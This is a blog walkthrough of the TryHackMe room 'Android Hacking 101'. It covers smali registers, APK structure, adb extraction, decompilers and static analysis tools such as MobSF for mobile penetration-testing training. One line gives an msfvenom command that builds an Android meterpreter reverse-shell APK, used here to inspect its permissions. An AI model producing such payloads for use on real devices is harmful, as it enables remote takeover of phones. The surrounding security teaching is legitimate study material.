Android Mobile Application Penetration Testing. You can access the room through this link: https://tryhackme.com/room/androidhacking101
Hello everyone, this is Mrinal Prakash aka EMPHAY and today I am going to take you to the walkthrough of the room- “Android Hacking 101” which is a pretty beginner friendly room. It comes under the category of easy room. Having said all that, let me dive in.
TASK 1: Introduction
It is common to find mobile applications when we are conducting a security audit or doing bug bounty programs, so I decided to create this room where we will see a set of tests that I do when I am doing this type of audit.
What is Native And Hybrid Applications?
Native: They are those developed applications only and exclusively for mobile operating systems, either Android or IOS. In Android you use the Java or kotlin programming language, while in IOS you make use of Swift or Objective-C. These programming languages are the official ones for the respective operating systems.
What is android’s SMALI code?
When you create an application code, the apk file contains a .dex file, which contains binary Dalvik bytecode. Smali is an assembly language that runs on Dalvik VM, which is Android’s JVM.
Smali Syntax – Types
Smali Registers by JesusFreke
In dalvik’s bytecode, registers are always 32 bits, and can hold any type of value. 2 registers are used to hold 64 bit types (Long and Double).
Specifying the number of registers in a method
There are two ways to specify how many registers are available in a method. the .registers directive specifies the total number of registers in the method, while the alternate .locals directive specifies the number of non-parameter registers in the method. The total number of registers would therefore include the registers needed to hold the method parameters.
How method parameters are passed into a method
When a method is invoked, the parameters to the method are placed into the last n registers. If a method has 2 arguments, and 5 registers (v0-v4), the arguments would be placed into the last 2 registers - v3 and v4.
The first parameter to a non-static methods is always the object that the method is being invoked on.
For example, let’s say you are writing a non-static method LMyObject;->callMe(II)V. This method has 2 integer parameters, but it also has an implicit LMyObject; parameter before both integer parameters, so there are a total of 3 arguments to the method.
Let’s say you specify that there are 5 registers in the method (v0-v4), with either the .registers 5 directive or the .locals 2 directive (i.e. 2 local registers + 3 parameter registers). When the method is invoked, the object that the method is being invoked on (i.e. the this reference) will be in v2, the first integer parameter will be in v3, and the second integer parameter will be in v4.
For static methods it’s the same thing, except there isn’t an implicit this argument.
There are two naming schemes for registers - the normal v naming scheme and the p naming scheme for parameter registers. The first register in the p naming scheme is the first parameter register in the method. So let’s go back to the previous example of a method with 3 arguments and 5 total registers. The following table shows the normal v name for each register, followed by the p name for the parameter registers
v0 the first local register
v1 the second local register
v2 p0 the first parameter register
v3 p1 the second parameter register
v4 p2 the third parameter register
You can reference parameter registers by either name - it makes no difference.
Motivation for introducing parameter registers
The p naming scheme was introduced as a practical matter, to solve a common annoyance when editing smali code.
Say you have an existing method with a number of parameters and you are adding some code to the method, and you discover that you need an extra register. You think “No big deal, I’ll just increase the number of registers specified in the .registers directive!”.
Unfortunately, it isn’t quite that easy. Keep in mind that the method parameters are stored in the last registers in the method. If you increase the number of registers - you change which registers the method arguments get put into. So you would have to change the .registers directive and renumber every parameter register.
But if the p naming scheme was used to reference parameter registers throughout the method, you can easily change the number of registers in the method, without having to worry about renumbering any existing registers.
Note: by default baksmali will use the p naming scheme for parameter registers. If you want to disable this for some reason and force baksmali to always use the v naming scheme, you can use the -p/–no-parameter-registers option.
As mentioned previously, long and double primitives (J and D respectively) are 64 bit values, and require 2 registers. This is important to keep in mind when you are referencing method arguments. For example, let’s say you have a (non-static) method LMyObject;->MyMethod(IJZ)V. The parameters to the method are LMyObject;, int, long, bool. So this method would require 5 registers for all of its parameters.
p2, p3 J
Also, when you are invoking the method later on, you do have to specify both registers for any double-wide arguments in the register list for the invoke-instruction.
Application Structure. (APK)
AndroidManifest.xml: the manifest file in binary XML format.
classes.dex: application code compiled in the dex format.
resources.arsc: file containing precompiled application resources, in binary XML.
res/: folder containing resources not compiled into resources.arsc
assets/: optional folder containing applications assets, which can be retrieved by AssetManager.
lib/: optional folder containing compiled code - i.e. native code libraries.
META-INF/: folder containing the MANIFEST.MF file, which stores meta data about the contents of the JAR. which sometimes will be store in a folder named original.The signature of the APK is also stored in this folder.
Every APK file includes an AndroidManifest.xml file which declares the application’s package name, version components and other metadata. Full detail of Android manifest specs file can be view here. Below is just some common attributes that can identify in AndroidManifest.
Manifest tag contains android installation mode, package name, build versions
Permissions custom permission and protection level
uses-permissions requests a permission that must be granted in order for it to operate, full list of permission api can refer here.
uses-feature Declares a single hardware or software feature that is used by the application.
Application The declaration of the application. Will contains all the activity
Activity Declares an activity that implements part of the application visual user interface.
intent-filter Specifies the types of intents that an activity, service, or broadcast receiver can respond to.
service Declare a service as one of the application components.
receiver Broadcast receivers enable applications to receive intents that are broadcast by the system or by other applications, even when other components of the application are not running.
provider Declares a content provider component. A content provider is a subclass of ContentProvider that supplies structured access to data managed by the application.
1. Read the above.
No Answers needed
TASK 2: Setup the environment
In this room it’s time for setting up the environment, here we’re going to talk about recommended tools for interact with our applications.
Install Java Development Kit 1.7
The JDK is a development environment for building applications, applets, and components using the Java programming language.
Java Development Kit 1.7
An Android emulator is an Android Virtual Device, that represents a specific Android device. You can use an Android emulator as a target platform to run and test your Android applications on your PC.
Don’t necesary Install emulator if have a rooted phone. My favorite emulator for windows, linux and Mac is Genymotion as it is very easy to use. Create account and download the installer for your platform/Operating system.
Genymotion Android Emulator
Install genymotion and login in your account in the aplication, now download your favorite android version for testing. I personally recommend 6.0.
For windows and mac users other option is Nox emulator
Enable Developer options in your emulator or rooted phone is necessary active this function for use debug usb.
You can unlock the Developer options on any Android smartphone or tablet by locating the Build number in your Settings menu and tapping it multiple times. However, the exact location of the aforementioned build number may differ depending on your phone’s manufacturer.
Settings > About Phone > Build number > Tap it 7 times to become developer;
Now, Settings > Developer Options > USB Debugging.
1. Read the above.
No Answers needed
TASK 3: Methodology
My methodology for pentest android apps.
1. Read the above.
No Answers needed
TASK 4: Information Gathering
Information collection is the first thing we need to do, as this information will guide us to the next stage in our penetration tests.
Black Box: In penetration testing, black-box testing refers to a method where an ethical hacker has no knowledge of the system being attacked.
How do I find the application of the organization?
Easy, play store: is a digital distribution platform for mobile apps for devices with Android operating system.
White Box: White box penetration testing can also be called glass box penetration testing or clear box penetration testing. In any case, it’s an approach to penetration testing that relies on the knowledge of the target system’s internal configuration. It uses this information for the test cases.
In a real scenario the client it will give us the mobile app, users and passwords to perform the login and also a user manual of how the application works.
1. What is the package name of the Black Hat Europe?
TASK 5: Reversing
In this part we will extract the legitimate apk from emulator or the device and get the source code.
Android Debug Bridge (ADB) is a development tool that facilitates communication between an Android device and a personal computer.
Note: You need debug usb enable in your emulator or device.
How view devices?
How extract apk?
For this you need have installed the application in your device and know package name
adb shell pm path package_name
This command print the path to the APK of the given
adb pull <remote> [<locaDestination>]
This command pulls the file remote to local. If local isn’t specified, it will pull to the current folder.
Now,how a get source code?
jadx: The jadx suite allows you to simply load an APK and look at its Java source code. What’s happening under the hood is that jADX is decompiling the APK to smali and then converting the smali back to Java.
jadx -d [path-output-folder] [path-apk-or-dex-file]
Dex2Jar: use dex2jar to convert an APK to a JAR file.
d2j-dex2jar.sh or .bat /path/application.apk
Once you have the JAR file, simply open it with JD-GUI and you’ll see its Java code.
apktool: This tool get a source code in smali.
apktool d file.apk
jadx-gui: UI version of jadx
1. Tool for convert dex file to smali code?
2. Which is the option for build apps with apktool?
3. What is the apk path of Black Hat Europe?
4. Command for extract apk of Back Hat Europe?
Note: command and path
adb pull /data/app/com.swapcard.apps.android.blackhat-1/base.apk
TASK 6: Static analysis
Is done without running the program, what are we going to identify in this basic room?
- Weak or improper cryptography use
- Exported Preference Activities
- Apps which enable backups
- Apps which are debuggable
- App Permissions.
- Firebase Instance(s)
- Sensitive data in the code
Weak or improper cryptography use: Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack.
Example: For Java implementation, the following API is related to encryption. Review the parameters of the encryption implementation.
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
How to search this when I have the source code of the application? there is a super advanced tool and wonderful called grep.
grep -r "SecretKeySpec" *
grep -rli "aes" *
grep -rli "iv"
Open the file with you favorite editor of text. Gedit/Vim/subl, etc… use this for revolse a puzzle in my ctf “LaxCTF”.
in real life:
Solution: Use a cryptography asymmetric.
Exported Preference Activities: As we know, Android’s activity component is application screen(s) and the action(s) that applied on that screen(s) when we use the application. When as activity is found to be shared with other apps on the device therefore leaving it accessible to any other application on the device.
Okay, exploit this in dynamic analysis… How identify the activity is exported?
With your favorite editor of text. Gedit/Vim/subl, etc… open the AndroidManifest.xml or use cat and grep
cat AndroidManifest.xml | grep "activity" --color
Apps which enable backups: This is considered a security issue because people could backup your app via ADB and then get private data of your app into their PC.
directory returned by getFilesDir().
getDataBase(path) also includes files created by SQLiteOpenHelper.
files in directories created with getDir(Sring, int).
files on external storage returned by getExternalFilesDir (String type).
How identify this?
With your favorite editor of text. Gedit/Vim/subl, etc… open the AndroidManifest.xml or use cat and grep.
cat AndroidManifest.xml | grep "android:allowBackup" --color
Example in dynamic analysis, byee!
App Permissions: System permissions are divided into two groups: “normal” and “dangerous.” Normal permission groups are allowed by default, because they don’t pose a risk to your privacy. (e.g., Android allows apps to access the Internet without your permission.) Dangerous permission groups, however, can give apps access to things like your calling history, private messages, location, camera, microphone, and more. Therefore, Android will always ask you to approve dangerous permissions.
In earlier versions of Android, accepting potentially dangerous permission groups was an all-or-nothing affair. You either allowed all permissions an app needed to function — before installation — or you declined them all, which meant you couldn’t install the app.
I going to analyze the permissions of an apk app generated by metasploit.
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > /root/tryhackme.apk
With your favorite editor of text. Gedit/Vim/subl, etc… open the AndroidManifest.xml or use cat and grep.
Firebase Instance(s): Last year, security researchers have discovered unprotected Firebase databases of thousands of iOS and Android mobile applications that are exposing over 100 million data records, including plain text passwords, user IDs, location, and in some cases, financial financial records such as banking and cryptocurrency transactions.
Google’s Firebase service is one of the most popular back-end development platforms for mobile and web applications that offers developers a cloud-based database, which stores data in JSON format and synced it in the real-time with all connected clients.
How identify this?
FireBase Scanner, The scripts helps security analsts to identify misconfigured firebase instances.
git clone https://github.com/shivsahni/FireBaseScanner
python FireBaseScanner.py -p /path/apk
Sensitive data in the code: Users, passwords, internal IP and more …
With your favorite editor of text, Gedit/Vim/subl, etc…, grep or GUI decompiler back to reversing and experiment with your favorite tool.
In the real life exist very bad practice of programing! how example:
How to automatize this process?
It is very entertaining to do this manually, but in a real pentest the time is not our friend.
STATIC ANALYSIS – FRAMEWORKS
Is a Mobile Application Reverse engineering and Analysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals.
APK Manifest Analysis
- Extract Intents
- Extract exported activities
- Extract receivers
- Extract exported receivers
- Extract Services
- Extract exported services
- Check if apk is debuggable
- Check if apk allows backups
- Check if apk allows sending of secret codes
- Check if apk can receive binary SMS
Source code static analysis based on OWASP Top Mobile Top 10 and the OWASP Mobile Apps Checklist
MARA is capable of performing either single or mass analysis of apk, dex or jar files.
Is a static code analysis tool, designed to recognize potential security vulnerabilities and points of concern for Java-based Android applications. QARK was designed to be community based, available to everyone and free for use. QARK educates developers and information security personnel about potential risks related to Android application security, providing clear descriptions of issues and links to authoritative reference sources. QARK also attempts to provide dynamically generated ADB (Android Debug Bridge) commands to aid in the validation of potential vulnerabilities it detects. It will even dynamically create a custom-built testing application, in the form of a ready to use APK, designed specifically to demonstrate the potential issues it discovers, whenever possible.”
My favorite tool :3 is Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.
Display data such as app icon, app name, size, package name etc.MD5 & SHA1 are also shown. They can be useful to detect known malicious applications.
· Rescan the application
· Start the dynamic analysis
· Check the java code & the manifest file
· Display certificate info
·Determine if an application has come from its original source.
· Analyzes the permissions
· Determines its status concerning critically & the description of permissions.
· It is threat assessment & vulnerability testing at the binary code level.
· It can also be used to analyze third party libraries, allowing a richer analysis & better visibility into how applications will interact with libraries.
· This is analysis of binary code to identify security issues. For complex systems using third party libraries for which source code is not available binary code analysis helps to identify issues.
You can view android API used in app like java reflection, location.
That can be safely invoked from a browser.
Find vulnerability inside one of the components in the AndroidManifest.xml file.
· Analysis result of java code by a static analyzer.
· Identifies potential vulnerabilities, determines their severity & the files in which this type of vulnerability was found.
· Common Vulnerability Scoring System
· Vulnerability is assigned a CVSS base score between 0.0 & 10.0.
0.0 → No risk
0.1–3.9 → Low risk
4.0–6.9 → Medium risk
7.0–8.9 → High risk
9.0–10.0 → Critical risk score
· Common Weakness Enumeration
· It is a list of software architecture, design or a code weakness.
Shows analysis of files.
Determine the functionality, origin & potential impact of a given malware sample such as virus.
Display list of URLs, IP addresses & the files in which they are stores or called. Analyzes where the android app sends the data & where it stores the info.
· Analyzes the text files that are in the res directory.
· May contain sensitive data.
Display a complete list of components (activity, service, content provider & receiver), imported libraries & files without defining the extension.
1. What is the name of the firebase instance in the app Black Hat Europe?
Find With Mobsf
2. Android-InsecureBankv2 debug realease, check this and what activity is not Protected.
3. what is the malicious permissions in the app Android-InsecureBankv2?
TASK 7: Static analysis – Complications
is the process of modifying an executable so that it is no longer useful to a hacker but remains fully functional. While the process may modify actual method instructions or metadata, it does not alter the output of the program. To be clear, with enough time and effort, almost all code can be reverse engineered. However, on some platforms (such as Java, Android, iOS and .NET) free decompilers can easily reverse-engineer source code from an executable or library in virtually no time and with no effort. Automated code obfuscation makes reverse-engineering a program difficult and economically unfeasible.
To obfuscate the code, use the Proguard utility, which makes these actions:
Removes unused variables, classes, methods, and attributes;
Eliminates unnecessary instructions;
Removes Tutorial information: obfuscate Androiddepuración code;
Renames classes, fields, and methods with unlegible names.
The enhanced commercial version of Proguard. This tool is capable of implementing the text encryption technique and renaming classes and methods with non-ASCII symbols.
It is based on powerful probabilistic graphical models learned from thousands of open source programs. Using these models, Deguard retrieves important information in Android APK, including method and class names, as well as third-party libraries. Deguard can reveal string decoders and classes that handle sensitive data in Android malware.
No Answers needed
See you in the second part of this walkthrough. If you enjoyed reading this, do give it a clap and follow me on medium. If you face any problem regarding any solution, feel free to reach me out. Hope you enjoyed reading my work. If you really liked this article, then follow me on medium and follow me up on Twitter and connect with me on LinkedIn. Till then goodbye from my side and Happy Hacking.